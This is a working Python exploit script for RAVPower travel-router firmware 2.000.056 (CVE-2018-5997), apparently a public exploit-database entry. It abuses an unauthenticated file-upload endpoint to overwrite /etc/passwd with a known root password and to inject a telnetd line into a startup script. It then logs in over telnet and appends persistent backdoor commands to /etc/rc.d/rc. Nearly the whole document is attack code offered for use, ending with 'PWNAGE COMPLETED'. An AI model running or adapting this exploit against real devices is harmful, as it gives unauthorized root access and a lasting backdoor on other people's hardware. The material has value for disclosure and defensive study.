RAVPower 2.000.056 – Root Remote Code Execution
""" # Exploit Title: RAVPower - remote root # Date: 23/01/2018 # Exploit Authors: Daniele Linguaglossa # Vendor Homepage: https://www.ravpower.com/ # Software Link: https://www.ravpower.com/ # Version: 2.000.056 # Tested on: OSX # CVE : CVE-2018-5997 """ import requests import time import telnetlib PATH_PASSWD = "/etc" FILE_PASSWD = "passwd" PATH_VSTFUNC = "/etc/init.d" FILE_VSTFUNC = "vstfunc" FILE_RC = "/etc/rc.d/rc" BACKDOOR_TERM = "export TERM=xterm" BACKDOOR_TELNET = "/usr/sbin/telnetd &" BASH_SHEBANG = "#!/bin/sh" TELNETD = "/usr/sbin/telnetd -p 1111 &" def upload(host, port, path, name, content): user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0" path = "/upload.csp?uploadpath=%s&file=1515865637281" % path url ="http://{0}:{1}{2}".format(host,port,path) files = {'file' : ('%s' % name, content,'application/octet-stream')} headers = { "user-agent": user_agent } try: requests.post(url,headers=headers,files=files) return True except: return False # root:admin tmp_passwd = """root:$1$YBm5LfCo$5OEwLPLUu085z5EoDpQz7/:0:0:root:/data/UsbDisk1/Volume1:/bin/sh bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin admin:$1$QlrmwRgO$c0iSI2euV.U1Wx6yBkDBI.:15:0:admin:/data/UsbDisk1/Volume1:/bin/sh mail:*:8:8:mail:/var/mail:/bin/sh nobody:x:65534:65534:Nobody:/data/UsbDisk1/Volume1:/bin/sh guest:$1$QlrmwRgO$c0iSI2euV.U1Wx6yBkDBI.:512:0:guest:/data/UsbDisk1/Volume1/Share:/bin/sh-new """ tmp_vstfunc = """ export PATH=/bin:/sbin:/usr/bin:/usr/sbin # A function to stop a program. killproc() { local base=${1##*/} local pid= pid=`pidof $base` local i if [ -n "$pid" ]; then for i in $pid ; do kill -KILL $i > /dev/null 2>&1 done fi rm -f /var/run/$base.pid return 0 } # A function to find the pid of a program. pidofproc() { local base=${1##*/} #First try "/var/run/*.pid" files if [ -f "/var/run/$base.pid" ]; then local line p pid= read line < /var/run/$base.pid for p in $line ; do [ -z "$p" -a -d "/proc/$p" ] && pid="$pid $p" done else pid=`pidof $1 || pidof $base` fi if [ -n "$pid" ]; then echo $pid return 0 fi return 1 } # Check if $pid (could be plural) are running # Return : 0 run # 1 stop checkpid() { local i for i in $* ; do if [ -d "/proc/$i" ]; then return 0 fi done return 1 } # Check disk exist checkdisk() { return $? } # save pid and log function savesc() { local i=0 if [ -n "$3" ]; then touch /var/run/$3.pid fi return $? } # A function check start of a program. # return: 1 not exist # 0 exist checkonly() { local prgname=${1##*/} local pid= if [ -f "/var/run/$prgname.pid" ]; then pid=`pidof $prgname` if [ -n "$pid" ]; then return 0 fi return 1 else pid=`pidof $prgname` if [ -n "$pid" ]; then if sleep 1 && checkpid $pid && sleep 1 && checkpid $pid && sleep 2 && checkpid $pid ; then return 2 fi fi return 2 fi } # A function save etc to mtd. # return: 1 failure # 0 success saveetc() { local ret=0 /usr/sbin/etc_tools t > /dev/null 2>&1 let ret=ret+$? # ret=$[$ret + $?] /usr/sbin/etc_tools p > /dev/null 2>&1 let ret=ret+$? # ret=$[$ret + $?] return $ret } # A function resume mtd to etc. # return: 1 failure # 0 success resumeetc() { local ret=0 /usr/sbin/etc_tools b > /dev/null 2>&1 let ret=ret+$? # ret=$[$ret + $?] /usr/sbin/etc_tools u > /dev/null 2>&1 let ret=ret+$? # ret=$[$ret + $?] return $ret } # Create a lock for /var/lock AppScriptLock() { if [ -f /var/lock/$1.pid ]; then return 0 else touch /var/lock/$1.pid return 1 fi } # Check a lock for /var/lock AppScriptChkLock() { if [ -f /var/lock/$1.pid ]; then return 1 else return 0 fi } # Delete a lock for /var/lock AppScriptUnlock() { if [ -f /var/lock/$1.pid ]; then rm -rf /var/lock/$1.pid fi return 1 } DISKPATH="/data/UsbDisk1/Volume1/.vst/upgrade" ETCPATH="/boot/tmp" ETCBKPATH="/boot/tmp/etcbackup" DISKETCFILE="/data/UsbDisk1/Volume1/.vst/upgrade/etc.tar" DIDKETCBKFILE="/data/UsbDisk1/Volume1/.vst/upgrade/etcbackup.tar.gz" ETCFILE="/boot/tmp/etc.tar" ETCBKFILETAR="/boot/tmp/etcbackup.tar" ETCBKFILE="/boot/tmp/etcbackup.tar.gz" FILELIST="hostname passwd shadow samba/smbpasswd fileserv/lighttpd.user dropbox baidu" FILELIST1="hostname" backup_etc() { rm $ETCBKFILETAR -rf rm $ETCBKFILE -rf rm $ETCBKPATH -rf # if [ ! -e $DISKPATH ];then # mkdir -p -m 755 $DISKPATH # fi if [ ! -e $ETCBKPATH ]; then mkdir -p -m 755 $ETCBKPATH fi if [ -z $1 ]; then FILELISTALL=$FILELIST else if [ $1 == "resume" ]; then FILELISTALL=$FILELIST1 fi fi for f in $FILELISTALL do if [ -d /etc/$f ]; then cp -rf /etc/$f $ETCBKPATH > /dev/null 2>&1 else if [ "$f" == "samba/smbpasswd" ]; then if [ ! -e $ETCBKPATH/samba ]; then mkdir -p $ETCBKPATH/samba fi cp -rf /etc/$f $ETCBKPATH/$f > /dev/null 2>&1 elif [ "$f" == "fileserv/lighttpd.user" ]; then if [ ! -e $ETCBKPATH/fileserv ]; then mkdir -p $ETCBKPATH/fileserv fi cp -rf /etc/$f $ETCBKPATH/$f > /dev/null 2>&1 elif [ "$f" == "serversman/cloud.conf" ]; then if [ ! -f /etc/$f ]; then continue fi if [ ! -e $ETCBKPATH/serversman ]; then mkdir -p $ETCBKPATH/serversman fi cp -rf /etc/$f $ETCBKPATH/$f > /dev/null 2>&1 else cp -rf /etc/$f $ETCBKPATH > /dev/null 2>&1 fi fi done tar cvf $ETCBKFILETAR $ETCBKPATH > /dev/null 2>&1 gzip $ETCBKFILETAR if [ -f $ETCBKFILE ]; then cp -rf $ETCBKFILE $DIDKETCBKFILE fi } backup_etc_telnet() { rm $ETCBKFILETAR -rf rm $ETCBKFILE -rf rm $ETCBKPATH -rf # if [ ! -e $DISKPATH ];then # mkdir -p -m 755 $DISKPATH # fi if [ ! -e $ETCBKPATH ]; then mkdir -p -m 755 $ETCBKPATH fi if [ -z $1 ]; then FILELISTALL=$FILELIST else if [ $1 == "resume" ]; then FILELISTALL=$FILELIST1 fi fi touch $ETCBKPATH/telnetflag tar cvf $ETCBKFILETAR $ETCBKPATH > /dev/null 2>&1 gzip $ETCBKFILETAR if [ -f $ETCBKFILE ]; then cp -rf $ETCBKFILE $DIDKETCBKFILE fi } restore_etc() { if [ -f $ETCBKFILE ]; then gunzip $ETCBKFILE tar xvf $ETCBKFILETAR -C / > /dev/null 2>&1 for f in $FILELIST do if [ -d /etc/$f ]; then echo cp -rf $ETCBKPATH/$f /etc/$f >> /tmp/restore_etc #cp -rf $ETCBKPATH/$f /etc/$f > /dev/null 2>&1 cp -rf $ETCBKPATH/$f /etc > /dev/null 2>&1 else if [ "$f" == "samba/smbpasswd" ]; then echo cp -rf $ETCBKPATH/$f /etc/$f >> /tmp/restore_etc cp -rf $ETCBKPATH/$f /etc/$f > /dev/null 2>&1 elif [ "$f" == "fileserv/lighttpd.user" ]; then echo cp -rf $ETCBKPATH/$f /etc/$f >> /tmp/restore_etc cp -rf $ETCBKPATH/$f /etc/$f > /dev/null 2>&1 elif [ "$f" == "serversman/cloud.conf" ]; then if [ ! -f $ETCBKPATH/$f ]; then continue fi echo cp -rf $ETCBKPATH/$f /etc/$f >> /tmp/restore_etc cp -rf $ETCBKPATH/$f /etc/$f > /dev/null 2>&1 else echo cp -rf $ETCBKPATH/$f /etc/$f >> /tmp/restore_etc cp -rf $ETCBKPATH/$f /etc/$f > /dev/null 2>&1 fi fi done if [ -f $ETCBKPATH/telnetflag ]; then touch /etc/telnetflag fi fi } # A function check usb flag # return: 0 service start # 1 service stop check_usb_flag() { local ret=0 if [ -e "/proc/usbwrite" ];then ret=`cat /proc/usbwrite` fi return $ret } ########################################################################### # # LED operations # ########################################################################### led_wink_start() { LED=`cat /proc/vsled` if [ $LED -eq 3 ]; then pioctl wifi 2 fi } led_wink_stop() { LED=`cat /proc/vsled` if [ $LED -eq 2 ]; then pioctl wifi 3 fi } led_wink_chk() { LED=`cat /proc/vsled` if [ $LED -eq 2 ]; then return 1 else return 0 fi } ########################################################################### # # Flag operation # ########################################################################### flagctl_get() { if [ -e /dev/sda ]; then trynum=0 while [ $trynum -lt 3 ]; do retval=`/usr/sbin/flagctl disk get $1` if [ ! -z $retval ]; then return $retval fi let trynum=trynum+1 # trynum=$[$trynum+1] sleep 1 done fi } flagctl_set() { if [ -e /dev/sda ]; then trynum=0 while [ $trynum -lt 3 ]; do /usr/sbin/flagctl disk set $1 $2 flagctl_get $1 if [ "$?" -eq "$2" ]; then sync return 1 fi let trynum=trynum+1 # trynum=$[$trynum+1] sleep 1 done fi return 0 } ########################################################################### # # string function # ########################################################################### str_func_strstr () { if [ ${#2} -eq 0 ];then echo "$1" return 0 fi case "$1" in *$2*) return 1 ;; *) return 0 ;; esac } dev_test_host() { nordev=`echo $1 | cut -c -3` s_str=`ls -l /sys/block/$nordev/device` str_func_strstr "$s_str" "host0" if [ $? -eq 1 ]; then return 1 fi return 0; } dev_test_usb() { nordev=`echo $1 | cut -c -3` s_str=`ls -l /sys/block/$nordev/device` str_func_strstr "$s_str" "usb" if [ $? -eq 1 ]; then return 1 fi return 0; } ########################################################################### # # Permission check functions # ########################################################################### # $1: device name # $2: host/usb # $3: if recursive, 1: enable, 0: disable perm_change_start() { permpid=`ps | grep "/usr/sbin/permchange $1" | cut -d' ' -f2` if [ ! -z $permpid ]; then return 1; else /usr/sbin/permchange $1 $2 $3 & fi } # $1: device name # $2: if recursive, 1: enable, 0: disable perm_chk_start() { dev_test_host $1 if [ $? -eq 1 ]; then perm_change_start $1 host $2 else perm_change_start $1 usb $2 fi } perm_chk_stop() { permpid=`ps | grep "/usr/sbin/permchange $1" | cut -d' ' -f2` if [ ! -z $permpid ]; then for ppid in $permpid ; do kill -9 $ppid > /dev/null 2>&1 done fi } ########################################################################### # Time function ########################################################################### timedate_settosys() { if [ -e /etc/timedate ]; then TIMESET=`cat /etc/timedate` date -s $TIMESET fi } timedate_save() { date '+%Y.%m.%d-%H:%M:%S' > /etc/timedate } """ print "RAVPower Remote root (0day) - By dzonerzy & r3dx0f\n\n" host = raw_input("Insert Ravpower IP: ") print "[*] Step 1 -> pwning /etc/passwd" if not upload(host, 80,PATH_PASSWD,FILE_PASSWD,tmp_passwd): print "[-] Filed to pwn /etc/passwd maybe fixed?" exit(0) print "[*] Step 2 -> pwning /etc/init.d/vstfunc" if not upload(host, 80,PATH_VSTFUNC,FILE_VSTFUNC,BASH_SHEBANG+"\n"+TELNETD+"\n"+tmp_vstfunc): print "[-] Filed to pwn /etc/init.d/vstfunc maybe fixed?" exit(0) t = None print "[*] Step 3 -> Try to remove or insert SD Card or just wait for something happen (something must happen!)" while True: try: print "[*] Step 3-1 -> Trying to telnet..." t = telnetlib.Telnet(host, port=1111) break except: time.sleep(5) t.read_until(": ") t.write("root\n") t.read_until(": ") t.write("admin\n") t.read_until("# ") print "[*] Step 4 -> pwning /etc/rc.d/rc" t.write("echo '%s' >> %s\n" % (BACKDOOR_TERM, FILE_RC)) t.read_until("# ") t.write("echo '%s' >> %s\n" % (BACKDOOR_TELNET, FILE_RC)) t.read_until("# ") print "[*] Step 4-1 -> pwned!" print "[*] Step 5 -> Saving settings" t.write("/usr/sbin/etc_tools p\n") t.read_until("# ") print "[*] Step 5-1 -> Done!" print "[*] Step 6 -> Starting telnetd" t.write("/usr/sbin/telnetd &\n") t.read_until("# ") print "[*] Step 6-1 -> Done!" print "[*] Step 7 -> Killing old telnet" t.write("ps aux |grep 1111 | awk '{print $2}' | xargs kill -9\n") t.read_until("# ") print "[*] Step 7-1 -> Done!" print "[*] Step 8 -> Restoring vstfunc" if not upload(host, 80,PATH_VSTFUNC,FILE_VSTFUNC,BASH_SHEBANG+"\n"+tmp_vstfunc): print "[-] Filed to pwn /etc/init.d/vstfunc fixed?" exit(0) print "[*] Step 8-1 -> Done!" print "[!] PWNAGE COMPLETED! connect with root:admin" |